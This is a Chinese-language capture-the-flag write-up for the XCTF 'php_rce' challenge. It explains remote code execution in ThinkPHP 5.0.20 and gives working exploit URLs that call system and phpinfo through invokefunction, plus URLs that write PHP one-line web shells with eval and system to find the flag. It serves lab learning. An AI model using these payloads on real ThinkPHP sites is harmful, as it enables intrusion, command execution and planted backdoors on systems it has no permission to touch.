XCTF php_rce
一.根据题目描述,猜测和php框架的RCE漏洞有关
1.进入实验环境发现果然网页使用的是ThinkPHP框架
在url后面随便加点什么,通过报错信息,发现框架的版本为5.0.20,正好存在rce漏洞
2.什么是rce漏洞?
远程命令执行 英文名称:RCE (remote code execution) ,简称RCE漏洞,是指用户通过浏览器提交执行命令,
由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,
可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
3.rce的原理
由于开发人员编写源码,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,
并交由服务器端执行。命令注入攻击中WEB服务器没有过滤类似system(),eval(),exec()等函数是该漏洞攻击成功的最主要原因。
4.漏洞的利用
1.利用system函数远程命令执行
http://111.198.29.45:41831/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
2.通过phpinfo函数写出phpinfo()的信息
http://111.198.29.45:41831/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
3.写入shell
http://111.198.29.45:41831/index.php?s=index/think\app/invokefunction&function=call_user_func_array
&vars[0]=file_put_contents&vars[1][]=test.php&vars[1][]=<?php highlight_file(__FILE__);@eval($_POST['test']);?>
*highlight_file() 函数对文件进行语法高亮显示 :
语法:highlight_file(filename,return), 本函数通过使用 PHP 语法高亮程序中定义的颜色,输出或返回包含在 filename 中的代码的语法高亮版本。
返回值:如果 return 参数被设置为 true,那么该函数会返回被高亮处理的代码,而不是输出它们。否则,若成功,则返回 true,失败则返回 false。
二.实验步骤
1.http://111.198.29.45:41831/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
果然能够执行phpinfo()函数执行的结果。
2.通过
如果执行成功就返回文件的大小,即 http://111.198.29.45:41831/index.php?s=index/think\app/invokefunction&function=call_user_func_arra
y&vars[0]=file_put_contents&vars[1][]=test2.php&vars[1][]=<?php highlight_file(__FILE__);system($_GET['cmd']);?>
我们去试着访问我们写进去的test2.php, 发现访问成功 , 这时就可以通过一句话木马执行恶意的操作了。
在通过 http://111.198.29.45:41831/test2.php?cmd=ls; 查看有哪些文件
然后逐次向上查找
发现flag文件,试着访问一下,得出 flag
这里也可以通过 http://111.198.29.45:41831/test2.php?cmd=find%20/%20-name%20%22flag*%22 查找flag关键字。
以上是通过shell得到flag。
以下通过system得到flag,为了便于观察,没有对其url转码
http://111.198.29.45:41831/index.php?s=index/think\app/invokefunction&function=call_user_func_array
&vars[0]=system&vars[1][]=find / -name "flag*"